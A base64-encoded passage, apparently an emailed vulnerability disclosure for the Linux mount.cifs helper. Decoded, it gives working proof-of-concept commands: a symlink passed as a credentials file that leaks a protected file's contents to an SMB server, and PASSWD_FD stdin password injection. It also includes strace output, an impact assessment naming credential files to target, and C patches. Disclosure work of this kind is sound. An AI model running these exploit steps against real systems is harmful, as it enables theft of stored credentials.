dGhlIHByb3RlY3RlZCBmaWxlCmxuIC1zIC9ob21lL3Ryby9zZWNyZXQudHh0IC9ob21lL3Ryby9j
cmVkc19saW5rCmNhdCAvaG9tZS90cm8vY3JlZHNfbGluawojIOKGkiBQZXJtaXNzaW9uIGRlbmll
ZAoKIyBUcmlnZ2VyIHRoZSBleHBsb2l0IOKAlCBtb3VudC5jaWZzIGZvbGxvd3Mgc3ltbGluayB3
aXRoIENBUF9EQUNfUkVBRF9TRUFSQ0gKIyBOb3RlOiBzdWRvIGhlcmUgc2ltdWxhdGVzIG1vdW50
LmNpZnMgYmVpbmcgaW52b2tlZCBhcyByb290IGJ5IGEgc3lzdGVtIHNlcnZpY2UKIyAoY3Jvbiwg
ZnN0YWIgYXV0b21vdW50LCBzeXN0ZW1kIHVuaXQpLiBUaGUgYXR0YWNrZXIgZG9lcyBub3QgbmVl
ZCBzdWRvIOKAlAojIHRoZXkgb25seSBuZWVkIHdyaXRlIGFjY2VzcyB0byB0aGUgZGlyZWN0b3J5
IGNvbnRhaW5pbmcgdGhlIGNyZWRlbnRpYWwgZmlsZSBwYXRoLgpta2RpciAtcCAvdG1wL21udApz
dWRvIC91c3Ivc2Jpbi9tb3VudC5jaWZzIC8vMTI3LjAuMC4xL3NoYXJlIC90bXAvbW50IFwKICAg
IC1vICJjcmVkZW50aWFscz0vaG9tZS90cm8vY3JlZHNfbGluayxwb3J0PTQ0NDUsdmVycz0xLjAi
CmBgYAoKKipBY3R1YWwgU01CIHNlcnZlciBvdXRwdXQgKFRlcm1pbmFsIDEpKio6CgpgYGAKWy1d
IHJlc2VhcmNoXFNFQ1JFVF9WQUxVRV9MRUFLRUQ6IFVuc3VwcG9ydGVkIFRyYW5zYWN0LzIgY29t
bWFuZCAweDEwClstXSByZXNlYXJjaFxTRUNSRVRfVkFMVUVfTEVBS0VEOiBUcmVlQ29ubmVjdEFu
ZFggbm90IGZvdW5kIHNoYXJlCmBgYAoKYFNFQ1JFVF9WQUxVRV9MRUFLRURgIOKAlCB0aGUgYHVz
ZXJuYW1lPWAgdmFsdWUgZnJvbSBpbnNpZGUgdGhlIGBjaG1vZCAwMDBgIGZpbGUgdGhlIHVzZXIg
Y2Fubm90IHJlYWQg4oCUIGFwcGVhcnMgaW4gdGhlIHNlcnZlciBhdXRoZW50aWNhdGlvbiBsb2cu
IG1vdW50LmNpZnMgZm9sbG93ZWQgdGhlIHN5bWxpbmsgd2l0aCBgQ0FQX0RBQ19SRUFEX1NFQVJD
SGAgZWZmZWN0aXZlLCBwYXJzZWQgdGhlIHByb3RlY3RlZCBmaWxlLCBhbmQgdHJhbnNtaXR0ZWQg
aXRzIGNvbnRlbnRzIGFzIFNNQiBjcmVkZW50aWFscy4KCioqRXJyb3IgZmluZ2VycHJpbnQgZGlz
dGluZ3Vpc2hpbmcgZmlsZS1vcGVuIGZhaWx1cmUgZnJvbSBjcmVkZW50aWFsLXJlYWQgc3VjY2Vz
cyoqOgoKYGBgYmFzaAojIENyZWRlbnRpYWwgZmlsZSBtaXNzaW5nIOKGkiBlcnJvciByZXBvcnRl
ZCBhdCBjcmVkZW50aWFsLW9wZW4gc3RhZ2UKc3VkbyBtb3VudC5jaWZzIC8vMTI3LjAuMC4xL3No
YXJlIC9tbnQgLW8gY3JlZGVudGlhbHM9L25vbmV4aXN0ZW50IDI+JjEKIyDihpIgZXJyb3IgMiAo
Tm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSkgb3BlbmluZyBjcmVkZW50aWFsIGZpbGUgL25vbmV4
aXN0ZW50CgojIFN5bWxpbmsgdG8gcHJvdGVjdGVkIGZpbGUg4oaSIGVycm9yIGF0IFNNQiBuZXR3
b3JrIHN0YWdlIChjcmVkZW50aWFsIHJlYWQgc3VjY2VlZGVkKQpzdWRvIG1vdW50LmNpZnMgLy8x
MjcuMC4wLjEvc2hhcmUgL21udCAtbyBjcmVkZW50aWFscz0vaG9tZS90cm8vY3JlZHNfbGluayAy
PiYxCiMg4oaSIG1vdW50IGVycm9yKDIpOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5CmBgYAoK
VGhlIGVycm9yIG1lc3NhZ2UgY2hhbmdlcyBmcm9tIGBvcGVuaW5nIGNyZWRlbnRpYWwgZmlsZWAg
KGZhaWxlZCBiZWZvcmUgcmVhZGluZykgdG8gYG1vdW50IGVycm9yYCAoc3VjY2Vzc2Z1bGx5IHJl
YWQgY3JlZGVudGlhbHMsIGZhaWxlZCBhdCBuZXR3b3JrIHN0YWdlKS4gVGhpcyBpcyByZXByb2R1
Y2libGUgYW5kIHVuYW1iaWd1b3VzLgoKKipOb3RlIG9uIGBmcy5wcm90ZWN0ZWRfc3ltbGlua3Ng
Kio6IFRoZSBMaW51eCBrZXJuZWwgZGVmYXVsdCBgZnMucHJvdGVjdGVkX3N5bWxpbmtzPTFgIGJs
b2NrcyBjcm9zcy11c2VyIHN5bWxpbmsgZm9sbG93aW5nIGluIHdvcmxkLXdyaXRhYmxlIHN0aWNr
eSBkaXJlY3RvcmllcyAoYC90bXBgLCBgL3Zhci90bXBgKS4gVGhlIGV4cGxvaXQgYWJvdmUgdXNl
cyBgL2hvbWUvdHJvL2Agd2hpY2ggaXMgbm90IHN0aWNreSBhbmQgbm90IHdvcmxkLXdyaXRhYmxl
LCBieXBhc3NpbmcgdGhpcyBtaXRpZ2F0aW9uLiBDcmVkZW50aWFsIGZpbGVzIGNvbmZpZ3VyZWQg
YnkgYWRtaW5pc3RyYXRvcnMgYXJlIGNvbW1vbmx5IHN0b3JlZCBpbiBub24tc3RpY2t5IGxvY2F0
aW9ucyAoYC9ldGMvY2lmcy9gLCBgL3Jvb3QvYCwgYXBwbGljYXRpb24gY29uZmlnIGRpcmVjdG9y
aWVzKSDigJQgbm9uZSBvZiB3aGljaCBhcmUgcHJvdGVjdGVkIGJ5IHRoaXMga2VybmVsIG1pdGln
YXRpb24uCgotLS0KCiMjIyBGaW5kaW5nIDMg4oCUIFBBU1NXRF9GRCBzdGRpbiBpbmplY3Rpb24K
CioqTm9ybWFsIGJlaGF2aW91cioqIChubyBgUEFTU1dEX0ZEYCkg4oCUIG1vdW50LmNpZnMgb3Bl
bnMgYC9kZXYvdHR5YCBhbmQgcHJvbXB0cyBpbnRlcmFjdGl2ZWx5OgoKYGBgYmFzaApzdWRvIHN0
cmFjZSAtZiAtZSB0cmFjZT1yZWFkLG9wZW5hdCAtcyAyMDAgXAogICAgL3Vzci9zYmluL21vdW50
LmNpZnMgLy8xMjcuMC4wLjEvc2hhcmUgL3RtcC9tbnQgXAogICAgLW8gInVzZXI9dGVzdHVzZXIs
cG9ydD00NDQ1LHZlcnM9MS4wIiAyPiYxIHwgZ3JlcCAtRSAicmVhZFwoMHx0dHl8UGFzc3dvcmQi
CmBgYAoKKipBY3R1YWwgb3V0cHV0Kio6CmBgYApbcGlkIDc3OTM3OV0gb3BlbmF0KEFUX0ZEQ1dE
LCAiL2Rldi90dHkiLCBPX1JEV1J8T19DUkVBVHxPX1RSVU5DfE9fQ0xPRVhFQywgMDY2NikgPSAz
ClBhc3N3b3JkIGZvciByb290QC8vMTI3LjAuMC4xL3NoYXJlOgpbcGlkIDc3OTM3OV0gcmVhZCgz
LCAiXG4iLCA0MDk2KSA9IDEKYGBgCgoqKkJ1ZyoqIChgUEFTU1dEX0ZEPWludmFsaWRgKSDigJQg
bm8gcHJvbXB0LCBzdGRpbiBjb25zdW1lZCBzaWxlbnRseToKCmBgYGJhc2gKZWNobyAiU1RESU5f
UEFTU1dPUkRfSU5KRUNURUQiIHwgc3VkbyBzdHJhY2UgLWYgLWUgdHJhY2U9cmVhZCAtcyAyMDAg
XAogICAgZW52IFBBU1NXRF9GRD1pbnZhbGlkIFwKICAgIC91c3Ivc2Jpbi9tb3VudC5jaWZzIC8v
MTI3LjAuMC4xL3NoYXJlIC90bXAvbW50IFwKICAgIC1vICJ1c2VyPXRlc3R1c2VyLHBvcnQ9NDQ0
NSx2ZXJzPTEuMCIgMj4mMSB8IGdyZXAgInJlYWQoMCIKYGBgCgoqKkFjdHVhbCBvdXRwdXQqKjoK
YGBgCltwaWQgNzc5NDM4XSByZWFkKDAsICJTVERJTl9QQVNTV09SRF9JTkpFQ1RFRFxuIiwgNTEz
KSA9IDI0CmBgYAoKYC9kZXYvdHR5YCBpcyBuZXZlciBvcGVuZWQuIE5vIHByb21wdCBpcyBkaXNw
bGF5ZWQuIFRoZSBiaW5hcnkgc2lsZW50bHkgY29uc3VtZXMgYFNURElOX1BBU1NXT1JEX0lOSkVD
VEVEYCBmcm9tIGZkIDAgYW5kIHVzZXMgaXQgYXMgdGhlIFNNQiBhdXRoZW50aWNhdGlvbiBwYXNz
d29yZC4KCi0tLQoKCiMjIEltcGFjdAoKIyMjIFdoYXQgd2FzIGRlbW9uc3RyYXRlZAoKKipGaW5k
aW5nIDIqKiBpcyBmdWxseSBwcm92ZW4uIFdoZW4gbW91bnQuY2lmcyBpcyBpbnZva2VkIGFzIHJv
b3Qgd2l0aCBhIGNyZWRlbnRpYWwgZmlsZSBwYXRoIHRoYXQgdGhlIGF0dGFja2VyIGNhbiByZXBs
YWNlIHdpdGggYSBzeW1saW5rIOKAlCBhIHJlYWxpc3RpYyBjb25kaXRpb24gaW4gc3lzdGVtcyB1
c2luZyBgL2V0Yy9mc3RhYmAgQ0lGUyBlbnRyaWVzLCBhdXRvbW91bnRlcnMsIG9yIHNjcmlwdHMg
dGhhdCBwYXNzIGNyZWRlbnRpYWwgcGF0aHMgZnJvbSB1c2VyLWluZmx1ZW5jZWQgbG9jYXRpb25z
IOKAlCB0aGUgYmluYXJ5IGZvbGxvd3MgdGhlIHN5bWxpbmssIHJlYWRzIHRoZSB0YXJnZXQgZmls
ZSB3aXRoIGBDQVBfREFDX1JFQURfU0VBUkNIYCBlZmZlY3RpdmUsIGFuZCB0cmFuc21pdHMgcGFy
c2VkIGNvbnRlbnQgdG8gdGhlIFNNQiBzZXJ2ZXIgc3BlY2lmaWVkIG9uIHRoZSBjb21tYW5kIGxp
bmUuIEFuIGF0dGFja2VyIHdobyBjb250cm9scyB0aGUgU01CIHNlcnZlciByZWNlaXZlcyB0aG9z
ZSB2YWx1ZXMuCgoqKkZpbmRpbmcgMyoqIGlzIGZ1bGx5IHByb3Zlbi4gQW55IHByb2Nlc3MgdGhh
dCBpbnZva2VzIG1vdW50LmNpZnMgd2l0aCBhbiBhdHRhY2tlci1jb250cm9sbGVkIGVudmlyb25t
ZW50IGNhbiBpbmplY3QgYW4gYXJiaXRyYXJ5IHBhc3N3b3JkIHZhbHVlIHdpdGhvdXQgdXNlciB2
aXNpYmlsaXR5LiBUaGUgYmluYXJ5IHByb3ZpZGVzIG5vIHdhcm5pbmcgYW5kIG9wZW5zIG5vIFRU
WSBwcm9tcHQgd2hlbiBgUEFTU1dEX0ZEYCBpcyBzZXQgdG8gYSBub24tbnVtZXJpYyBzdHJpbmcu
CgojIyMgSG9uZXN0IGNvbnN0cmFpbnRzIG9uIGltcGFjdAoKKipUaGUgcGFyc2VyIGlzIGEgZmls
dGVyKio6IG1vdW50LmNpZnMgZG9lcyBub3QgcmV0dXJuIHJhdyBieXRlcyB0byB0aGUgYXR0YWNr
ZXIuIEl0IHBhcnNlcyB0aGUgb3BlbmVkIGZpbGUgZm9yIGB1c2VybmFtZT1gLCBgcGFzc3dvcmQ9
YCwgYW5kIGBkb21haW49YCBsaW5lcy4gRmlsZXMgbm90IGZvcm1hdHRlZCBhcyBDSUZTIGNyZWRl
bnRpYWwgZmlsZXMg4oCUIGluY2x1ZGluZyBgL2V0Yy9zaGFkb3dgLCBgL2V0Yy9wYXNzd2RgLCBU
TFMga2V5cywgYW5kIFNTSCBwcml2YXRlIGtleXMg4oCUIHByb2R1Y2Ugbm8gdXNhYmxlIG91dHB1
dCBldmVuIHdoZW4gc3VjY2Vzc2Z1bGx5IG9wZW5lZCBhcyByb290LiBUaGUgcHJhY3RpY2FsIHRh
cmdldHMgYXJlIGZpbGVzIHRoYXQgY29tYmluZSBwcml2aWxlZ2UgKHVucmVhZGFibGUgYnkgdGhl
IGF0dGFja2VyKSB3aXRoIGNyZWRlbnRpYWwgZm9ybWF0OgoKLSBgL3Jvb3QvLnNtYmNyZWRlbnRp
YWxzYAotIGAvZXRjL2NpZnMvY3JlZGVudGlhbHNgIG9yIHNpbWlsYXIgYWRtaW4tbWFuYWdlZCBj
cmVkZW50aWFsIHN0b3JlcwotIEFwcGxpY2F0aW9uIGNvbmZpZ3VyYXRpb24gZmlsZXMgdW5kZXIg
cHJvdGVjdGVkIGRpcmVjdG9yaWVzIGNvbnRhaW5pbmcgYHVzZXJuYW1lPWAvYHBhc3N3b3JkPWAg
ZGlyZWN0aXZlcwoKKipUaGUgYGFjY2VzcygpYCBnYXRlIGxpbWl0cyBkaXJlY3QgZXhwbG9pdGF0
aW9uIGJ5IHVucHJpdmlsZWdlZCB1c2VycyoqOiBgYWNjZXNzKClgIHVzZXMgdGhlIHJlYWwgVUlE
LiBBbiB1bnByaXZpbGVnZWQgdXNlciBjYW5ub3QgcGFzcyBgYWNjZXNzKClgIGZvciBhIHJvb3Qt
b3duZWQgNjAwIGZpbGUuIERpcmVjdCBleHBsb2l0YXRpb24gb2YgYFBBU1NXRF9GSUxFYCBieSBh
IG5vbi1yb290IGNhbGxlciBpcyB0aGVyZWZvcmUgbGltaXRlZCB0byBmaWxlcyB0aGUgY2FsbGVy
IGNhbiBhbHJlYWR5IHJlYWQg4oCUIHdoaWNoIHJlZHVjZXMgdGhlIGltbWVkaWF0ZSBjb25maWRl
bnRpYWxpdHkgaW1wYWN0LiBUaGUgVE9DVE9VIHJhY2UgKEZpbmRpbmcgMSkgaXMgcmVxdWlyZWQg
dG8gYnJlYWsgdGhpcyBnYXRlIGZyb20gYW4gdW5wcml2aWxlZ2VkIGNvbnRleHQuCgoqKkZpbmRp
bmcgMSByYWNlIG5vdCB3b24gaW4gdGVzdGluZyoqOiA1MCwwMDAgaXRlcmF0aW9ucyB3aXRoIENQ
VSBwaW5uaW5nIGFuZCBhdG9taWMgYHJlbmFtZSgpYCByYWNlciBkaWQgbm90IHByb2R1Y2UgYSB3
aW4gb24gYSB2aXJ0dWFsIG1hY2hpbmUuIFRoZSByYWNlIHdpbmRvdyBpcyByZWFsIGFuZCBzdHJ1
Y3R1cmFsIOKAlCB0aGUgZGVmZWN0IGlzIG5vdCB0aGVvcmV0aWNhbCDigJQgYnV0IHJlbGlhYmxl
IGV4cGxvaXRhdGlvbiByZXF1aXJlcyBgdXNlcmZhdWx0ZmRgIG9yIGJhcmUtbWV0YWwgdGltaW5n
IHRoYXQgd2FzIG5vdCBhdmFpbGFibGUgaW4gdGhlIHRlc3QgZW52aXJvbm1lbnQuCgotLS0KCiMj
IFN1Z2dlc3RlZCBGaXgKCkZvdXIgaW5kZXBlbmRlbnQgY2hhbmdlcyBhZGRyZXNzIHRoZSB0aHJl
ZSBmaW5kaW5ncy4KCioqMS4gQWRkIGBPX05PRk9MTE9XIHwgT19DTE9FWEVDYCB0byBgb3Blbl9j
cmVkX2ZpbGUoKWAg4oCUIGBtb3VudC5jaWZzLmM6NjEyYCoqCgpSZXBsYWNlIGBmb3BlbihmaWxl
X25hbWUsICJyIilgIHdpdGggYW4gZXhwbGljaXQgYG9wZW4oKWAgdXNpbmcgYE9fTk9GT0xMT1dg
OgoKYGBgYwppbnQgZmQgPSBvcGVuKGZpbGVfbmFtZSwgT19SRE9OTFkgfCBPX05PRk9MTE9XIHwg
T19DTE9FWEVDKTsKaWYgKGZkIDwgMCkgewogICAgLyogZXJybm8gPT0gRUxPT1AgbWVhbnMgdGhl
IHBhdGggaXMgYSBzeW1saW5rIOKAlCByZWplY3QgaXQgKi8KICAgIHRvZ2dsZV9kYWNfY2FwYWJp
bGl0eSgwLCAwKTsKICAgIHJldHVybiBlcnJubzsKfQpmcyA9IGZkb3BlbihmZCwgInIiKTsKaWYg
KCFmcykgewogICAgY2xvc2UoZmQpOwogICAgdG9nZ2xlX2RhY19jYXBhYmlsaXR5KDAsIDApOwog
ICAgcmV0dXJuIGVycm5vOwp9CmBgYAoKKioyLiBTYW1lIGZpeCBpbiBgZ2V0X3Bhc3N3b3JkX2Zy
b21fZmlsZSgpYCDigJQgYG1vdW50LmNpZnMuYzo3MDFgKioKCmBgYGMKZmlsZV9kZXNjcmlwdCA9
IG9wZW4oZmlsZW5hbWUsIE9fUkRPTkxZIHwgT19OT0ZPTExPVyB8IE9fQ0xPRVhFQyk7CmlmIChm
aWxlX2Rlc2NyaXB0IDwgMCkgewogICAgdG9nZ2xlX2RhY19jYXBhYmlsaXR5KDAsIDApOwogICAg
cmV0dXJuIGVycm5vOwp9CmBgYAoKKiozLiBTYW5pdGl6ZSBlbnZpcm9ubWVudCB2YXJpYWJsZXMg
YXQgc3RhcnR1cCDigJQgYmVmb3JlIGFueSBvcHRpb24gcHJvY2Vzc2luZyoqCgpBIFNVSUQgYmlu
YXJ5IHNob3VsZCBub3QgaG9ub3VyIHNlY3VyaXR5LXNlbnNpdGl2ZSBlbnZpcm9ubWVudCB2YXJp
YWJsZXMgaW5oZXJpdGVkIGZyb20gdGhlIGludm9raW5nIHVzZXI6CgpgYGBjCi8qIENhbGwgYmVm
b3JlIHBhcnNlX29wdGlvbnMoKSAqLwp1bnNldGVudigiUEFTU1dEX0ZJTEUiKTsKdW5zZXRlbnYo
IlBBU1NXRDJfRklMRSIpOwp1bnNldGVudigiUEFTU1dEX0ZEIik7CmBgYAoKVGhlc2UgdmFyaWFi
bGVzIHNob3VsZCBiZSBzZXQgb25seSB0aHJvdWdoIHRoZSB2YWxpZGF0ZWQgbW91bnQgb3B0aW9u
IHBhcnNlciwgbm90IGluaGVyaXRlZCBmcm9tIHRoZSBjYWxsZXIncyBlbnZpcm9ubWVudC4KCioq
NC4gVmFsaWRhdGUgYFBBU1NXRF9GRGAgYmVmb3JlIHVzZSDigJQgYG1vdW50LmNpZnMuYzoxNDYx
YCoqCgpgYGBjCnRtcCA9IGdldGVudigiUEFTU1dEX0ZEIik7CmlmICh0bXApIHsKICAgIGNoYXIg
KmVuZDsKICAgIGxvbmcgdmFsID0gc3RydG9sKHRtcCwgJmVuZCwgMTApOwogICAgaWYgKCplbmQg
IT0gJ1wwJyB8fCB2YWwgPCAzIHx8IHZhbCA+IChsb25nKXN5c2NvbmYoX1NDX09QRU5fTUFYKSkg
ewogICAgICAgIGZwcmludGYoc3RkZXJyLCAibW91bnQuY2lmczogaW52YWxpZCBQQVNTV0RfRkQg
dmFsdWUgJyVzJ1xuIiwgdG1wKTsKICAgICAgICByZXR1cm4gRVhfVVNBR0U7CiAgICB9CiAgICBm
ZCA9IChpbnQpdmFsOwogICAgcmVhZChmZCwgcGFzc2J1Ziwgc2l6ZW9mKHBhc3NidWYpIC0gMSk7
Cn0KYGBgCgpVc2luZyBgc3RydG9sKClgIGluc3RlYWQgb2YgYGF0b2koKWAgYWxsb3dzIGRldGVj
dGlvbiBvZiBub24tbnVtZXJpYyBpbnB1dC4gVGhlIGxvd2VyIGJvdW5kIG9mIDMgcmVqZWN0cyBz
dGRpbiAoMCksIHN0ZG91dCAoMSksIGFuZCBzdGRlcnIgKDIpLgoKLS0tCgo=
--000000000000d1c3020657a68075--